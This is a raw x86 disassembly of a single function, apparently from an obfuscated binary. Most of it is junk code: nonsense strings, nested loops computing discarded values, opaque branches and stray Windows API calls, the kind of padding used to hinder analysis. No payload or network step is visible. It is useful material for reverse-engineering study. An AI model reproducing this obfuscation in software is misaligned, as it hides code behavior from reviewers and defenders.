mov dword [ebp - 0x470], str.fmwx_mwxkit_wtsxcwye_ekc_qdtyz_hjghzb_aztibqshh_avedc_gcvtavp_tsnnilu_qizv_oxzbea
cmp dword [ebp - 0x2d4], 0x692f
jle 0x413f23
and dword [ebp - 0x15c], 0
jmp 0x413e3b
mov eax, dword [ebp - 0x15c]
inc eax
mov dword [ebp - 0x15c], eax
cmp dword [ebp - 0x15c], 0x6a7c
jge 0x413f23
and dword [ebp - 0x144], 0
jmp 0x413e61
mov eax, dword [ebp - 0x144]
inc eax
mov dword [ebp - 0x144], eax
cmp dword [ebp - 0x144], 0x7c6a
jge 0x413f1e
and dword [ebp - 0x14c], 0
jmp 0x413e87
mov eax, dword [ebp - 0x14c]
inc eax
mov dword [ebp - 0x14c], eax
cmp dword [ebp - 0x14c], 0x14bf
jge 0x413f19
and dword [ebp - 0x154], 0
jmp 0x413ead
mov eax, dword [ebp - 0x154]
inc eax
mov dword [ebp - 0x154], eax
cmp dword [ebp - 0x154], 0x2a58
jge 0x413f14
mov ecx, dword [ebp - 0x144]
add ecx, dword [ebp - 0x14c]
sub ecx, dword [ebp - 0x154]
mov eax, dword [ebp - 0x15c]
sar eax, cl
cdq
mov dword [ebp - 0x3f0], eax
mov dword [ebp - 0x3ec], edx
push dword [ebp - 0x3ec]
push dword [ebp - 0x3f0]
lea ecx, [ebp - 0x618]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x618]
call fcn.00402b1d
jmp 0x413ea0
jmp 0x413e7a
jmp 0x413e54
jmp 0x413e2e
mov eax, dword [ebp - 0x164]
mov byte [ebp + eax - 0x288], 0
mov dword [ebp - 4], 0x34
cmp dword [ebp - 0x2d4], 0x682b
jge 0x413f50
push dword [ebp - 0x470]
call fcn.0048ca28
pop ecx
jmp 0x413f6c
or dword [ebp - 4], 0xffffffff
jmp 0x413f76
jmp 0x413de7
mov dword [ebp - 4], 0x36
cmp dword [ebp - 0x2dc], 0x1364
jge 0x413f9a
push dword [ebp - 0x3dc]
call fcn.0048ca28
pop ecx
jmp 0x413fb6
or dword [ebp - 4], 0xffffffff
jmp 0x413fc0
mov eax, dword [ebp - 0x24]
mov dword [ebp - 0x2c], eax
mov eax, dword [ebp - 0x2c]
movsx eax, byte [eax]
movsx ecx, byte [0xabc028]
cmp eax, ecx
je 0x413fe0
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
jmp 0x413fc6
mov eax, dword [ebp - 0x2c]
inc eax
mov dword [ebp - 0x2c], eax
push dword [ebp - 0x2c]
push dword [ebp - 0x24]
lea ecx, [ebp - 0x528]
call fcn.0042f87a
push 0xabbfe8
lea ecx, [ebp - 0x528]
call fcn.0042defe
mov dword [ebp - 0x2e4], 0x784c
mov dword [ebp - 0x478], str.fdwav_ixsmwgpo_xocv_kulviwkns_gnf_hsqb_tbrcojoub_rjttnf_euuuhs_ndacqbmam_sqfzsve
cmp dword [ebp - 0x2e4], 0x7a02
jle 0x4140eb
and dword [ebp - 0x17c], 0
jmp 0x414042
mov eax, dword [ebp - 0x17c]
inc eax
mov dword [ebp - 0x17c], eax
cmp dword [ebp - 0x17c], 0x63b3
jge 0x4140d7
and dword [ebp - 0x16c], 0
jmp 0x414068
mov eax, dword [ebp - 0x16c]
inc eax
mov dword [ebp - 0x16c], eax
cmp dword [ebp - 0x16c], 0x780a
jge 0x4140d2
and dword [ebp - 0x174], 0
jmp 0x41408a
mov eax, dword [ebp - 0x174]
inc eax
mov dword [ebp - 0x174], eax
cmp dword [ebp - 0x174], 0x6722
jge 0x4140d0
mov eax, dword [ebp - 0x16c]
cdq
idiv dword [ebp - 0x174]
add edx, dword [ebp - 0x17c]
mov eax, edx
cdq
mov dword [ebp - 0x3fc], eax
mov dword [ebp - 0x3f8], edx
push dword [ebp - 0x3f8]
push dword [ebp - 0x3fc]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x41407d
jmp 0x41405b
jmp 0x414035
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetDC]
push eax
call dword [sym.imp.GDI32.dll_EndDoc]
lea eax, [ebp - 0x508]
push eax
lea ecx, [ebp - 0x528]
call fcn.004033fc
push dword [eax]
lea eax, [ebp - 0x50c]
push eax
lea ecx, [ebp - 0x528]
call fcn.004033e8
push dword [eax]
lea ecx, [ebp - 0x558]
call fcn.0042f8a3
mov dword [ebp - 4], 0x38
cmp dword [ebp - 0x2e4], 0x7786
jge 0x414141
mov edx, dword [ebp - 0x478]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x41415d
or dword [ebp - 4], 0xffffffff
jmp 0x414167
lea eax, [ebp - 0x558]
push eax
call fcn.004068e1
pop ecx
mov dword [ebp - 0x284], eax
mov dword [ebp - 0x304], 0x2266
mov dword [ebp - 0x48c], str.hkn_kesvr_bbjejvrib_igbfn_cdutric_ygxspgm
cmp dword [ebp - 0x304], 0x25ba
jle 0x41425c
and dword [ebp - 0x194], 0
jmp 0x4141b4
mov eax, dword [ebp - 0x194]
inc eax
mov dword [ebp - 0x194], eax
cmp dword [ebp - 0x194], 0x5821
jge 0x414248
and dword [ebp - 0x184], 0
jmp 0x4141da
mov eax, dword [ebp - 0x184]
inc eax
mov dword [ebp - 0x184], eax
cmp dword [ebp - 0x184], 0x76de
jge 0x414243
and dword [ebp - 0x18c], 0
jmp 0x4141fc
mov eax, dword [ebp - 0x18c]
inc eax
mov dword [ebp - 0x18c], eax
cmp dword [ebp - 0x18c], 0x14f8
jge 0x414241
mov eax, dword [ebp - 0x184]
mov ecx, dword [ebp - 0x18c]
sar eax, cl
or eax, dword [ebp - 0x194]
cdq
mov dword [ebp - 0x408], eax
mov dword [ebp - 0x404], edx
push dword [ebp - 0x404]
push dword [ebp - 0x408]
mov ecx, 0xab8a78
call fcn.0042dd8a
jmp 0x4141ef
jmp 0x4141cd
jmp 0x4141a7
push 0x8f8
push 0
call dword [sym.imp.USER32.dll_GetDesktopWindow]
push eax
call dword [sym.imp.USER32.dll_GetClassNameW]
cmp dword [ebp - 0x284], 0
je 0x4144d6
push dword [ebp - 0x2c]
lea ecx, [ebp - 0x540]
call fcn.0042decf
mov dword [ebp - 0x2ec], 0x5557
mov dword [ebp - 0x3e8], str.gxod_ezp_syqxzjmih_mpifvdlsf_lglbdn_whjzo_jnl_yvwqqhrlt_obhywpwum
cmp dword [ebp - 0x2ec], 0x58a7
jle 0x414331
and dword [ebp - 0x19c], 0
jmp 0x4142b1
mov eax, dword [ebp - 0x19c]
inc eax
mov dword [ebp - 0x19c], eax
cmp dword [ebp - 0x19c], 0xfbf
jge 0x414331
and dword [ebp - 0x1a4], 0
jmp 0x4142d3
mov eax, dword [ebp - 0x1a4]
inc eax
mov dword [ebp - 0x1a4], eax
cmp dword [ebp - 0x1a4], 0x318b
jge 0x41432c
mov eax, dword [ebp - 0x19c]
xor eax, dword [ebp - 0x1a4]
cdq
mov dword [ebp - 0x414], eax
mov dword [ebp - 0x410], edx
push dword [ebp - 0x410]
push dword [ebp - 0x414]
lea ecx, [ebp - 0x648]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x648]
call fcn.00402b1d
jmp 0x4142c6
jmp 0x4142a4
mov dword [ebp - 4], 0x3a
cmp dword [ebp - 0x2ec], 0x5412
jge 0x414350
push dword [ebp - 0x3e8]
call fcn.0048ca28
pop ecx
jmp 0x41436c
or dword [ebp - 4], 0xffffffff
jmp 0x414376
lea edx, [ebp - 0x480]
lea ecx, [ebp - 0x540]
call fcn.004061ef
movzx eax, al
test eax, eax
je 0x4143ae
push 0
push dword [ebp - 0x480]
push 0
push dword [ebp - 0x284]
call fcn.0041153f
add esp, 0x10
mov dword [ebp - 0x24], eax
jmp 0x4144c9
mov dword [ebp - 0x2f4], 0x666e
mov dword [ebp - 0x338], str.rungm_nahhaur_uzq_kryodfj_thtzbwupo_iyxfkne_fwzdpw
cmp dword [ebp - 0x2f4], 0x66ac
jle 0x414468
and dword [ebp - 0x1ac], 0
jmp 0x4143e8
mov eax, dword [ebp - 0x1ac]
inc eax
mov dword [ebp - 0x1ac], eax
cmp dword [ebp - 0x1ac], 0x168e
jge 0x414468
and dword [ebp - 0x1b4], 0
jmp 0x41440a
mov eax, dword [ebp - 0x1b4]
inc eax
mov dword [ebp - 0x1b4], eax
cmp dword [ebp - 0x1b4], 0x2026
jge 0x414463
mov eax, dword [ebp - 0x1ac]
or eax, dword [ebp - 0x1b4]
cdq
mov dword [ebp - 0x4a8], eax
mov dword [ebp - 0x4a4], edx
push dword [ebp - 0x4a4]
push dword [ebp - 0x4a8]
lea ecx, [ebp - 0x678]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x678]
call fcn.00402b1d
jmp 0x4143fd
jmp 0x4143db
push 1
push 0
lea eax, [ebp - 0x540]
push eax
push dword [ebp - 0x284]
call fcn.0041153f
add esp, 0x10
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x3c
cmp dword [ebp - 0x2f4], 0x6443
jge 0x4144a3
push dword [ebp - 0x338]
call fcn.0048ca28
pop ecx
jmp 0x4144bf
or dword [ebp - 4], 0xffffffff
jmp 0x4144c9
lea ecx, [ebp - 0x540]
call fcn.00402cd4
jmp 0x414509
cmp dword [ebp + 0x10], 0
jne 0x4144ec
mov ecx, dword [ebp + 0xc]
call fcn.00402d30
mov dword [ebp - 0x2fc], eax
jmp 0x4144f6
movzx eax, word [ebp + 0x10]
mov dword [ebp - 0x2fc], eax
push dword [ebp - 0x2fc]
push dword [ebp + 8]
call fcn.004108c3
pop ecx
pop ecx
mov dword [ebp - 0x24], eax
mov dword [ebp - 4], 0x3e
cmp dword [ebp - 0x304], 0x2063
jge 0x41452c
mov edx, dword [ebp - 0x48c]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x414548
or dword [ebp - 4], 0xffffffff
jmp 0x414552
lea ecx, [ebp - 0x558]
call fcn.00402bac
lea ecx, [ebp - 0x528]
call fcn.00402cd4
mov dword [ebp - 4], 0x40
cmp dword [ebp - 0x30c], 0x6d39
jge 0x41458b
mov edx, dword [ebp - 0x400]
mov ecx, 0xab8a78
call fcn.0042f5ca
jmp 0x4145a7
or dword [ebp - 4], 0xffffffff
jmp 0x4145b1
mov dword [ebp - 0x314], 0x403f
mov dword [ebp - 0x498], str.epv_gennliys_ctasaa_peczhb_pdj
cmp dword [ebp - 0x314], 0x40b1
jle 0x41466b
and dword [ebp - 0x1bc], 0
jmp 0x4145eb
mov eax, dword [ebp - 0x1bc]
inc eax
mov dword [ebp - 0x1bc], eax
cmp dword [ebp - 0x1bc], 0x4677
jge 0x41466b
and dword [ebp - 0x1c4], 0
jmp 0x41460d
mov eax, dword [ebp - 0x1c4]
inc eax
mov dword [ebp - 0x1c4], eax
cmp dword [ebp - 0x1c4], 0x3e9c
jge 0x414666
mov eax, dword [ebp - 0x1bc]
sub eax, dword [ebp - 0x1c4]
cdq
mov dword [ebp - 0x4b4], eax
mov dword [ebp - 0x4b0], edx
push dword [ebp - 0x4b0]
push dword [ebp - 0x4b4]
lea ecx, [ebp - 0x6a8]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x6a8]
call fcn.00402b1d
jmp 0x414600
jmp 0x4145de
mov eax, dword [ebp - 0x24]
jmp 0x4147fc
mov dword [ebp - 0x31c], 0x39f6
mov dword [ebp - 0x40c], str.khkbit_szygua_xbmuvgw_juf_uxav
cmp dword [ebp - 0x31c], 0x3aae
jle 0x4147b3
and dword [ebp - 0x1dc], 0
jmp 0x4146f2
mov eax, dword [ebp - 0x1dc]
inc eax
mov dword [ebp - 0x1dc], eax
cmp dword [ebp - 0x1dc], 0x7fba
jge 0x4147a6
and dword [ebp - 0x1cc], 0
jmp 0x414718
mov eax, dword [ebp - 0x1cc]
inc eax
mov dword [ebp - 0x1cc], eax
cmp dword [ebp - 0x1cc], 0x25f3
jge 0x4147a1
and dword [ebp - 0x1d4], 0
jmp 0x41473a
mov eax, dword [ebp - 0x1d4]
inc eax
mov dword [ebp - 0x1d4], eax
cmp dword [ebp - 0x1d4], 0x1ddb
jge 0x41479c
mov eax, dword [ebp - 0x1cc]
cdq
idiv dword [ebp - 0x1d4]
and edx, dword [ebp - 0x1dc]
mov eax, edx
cdq
mov dword [ebp - 0x4c0], eax
mov dword [ebp - 0x4bc], edx
push dword [ebp - 0x4bc]
push dword [ebp - 0x4c0]
lea ecx, [ebp - 0x6d8]
call fcn.0040529e
pop ecx
pop ecx
mov ecx, eax
call fcn.00402d30
push eax
call fcn.0048ca28
pop ecx
lea ecx, [ebp - 0x6d8]
call fcn.00402b1d
jmp 0x41472d
jmp 0x41470b
jmp 0x4146e5
push 0x24e3
push 0
call dword [sym.imp.OLEAUT32.dll_SysReAllocStringLen]
xor eax, eax
jmp 0x4147fc
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop edi
pop esi
pop ebx
mov esp, ebp
pop ebp
ret